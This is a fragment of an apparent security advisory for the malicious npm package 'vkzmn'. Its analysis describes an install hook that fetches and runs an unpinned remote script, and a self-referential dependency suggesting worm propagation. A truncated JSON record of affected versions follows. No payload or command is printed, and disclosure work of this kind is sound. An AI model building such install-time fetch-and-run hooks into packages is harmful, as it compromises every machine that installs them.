The fetched script is unpinned (mutable `main` branch), unverified (no hash/signature check), and from a destination that bears no relationship to any declared package purpose — the source repository name itself indicates worm/propagation testing. Whatever bytes the repository owner serves at fetch time execute with the privileges of the user running `npm install`. The package additionally declares a self-referential dependency (`vkzmn: ^1.0.4`), consistent with propagation scaffolding rather than a legitimate library.\n\n## Source: ghsa-malware (a41dc023cd84c69935ac2c642d6cb9c187fb6bce9c18d226d785fba49e80e50a)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.

it.\n","affected":[{"package":{"ecosystem":"npm","name":"vkzmn"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["1.0.6","1.0.4","1.0.3","1.0.1","1.0.0","1.0.5","1.0.2","1.0.8","1.0.7"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The
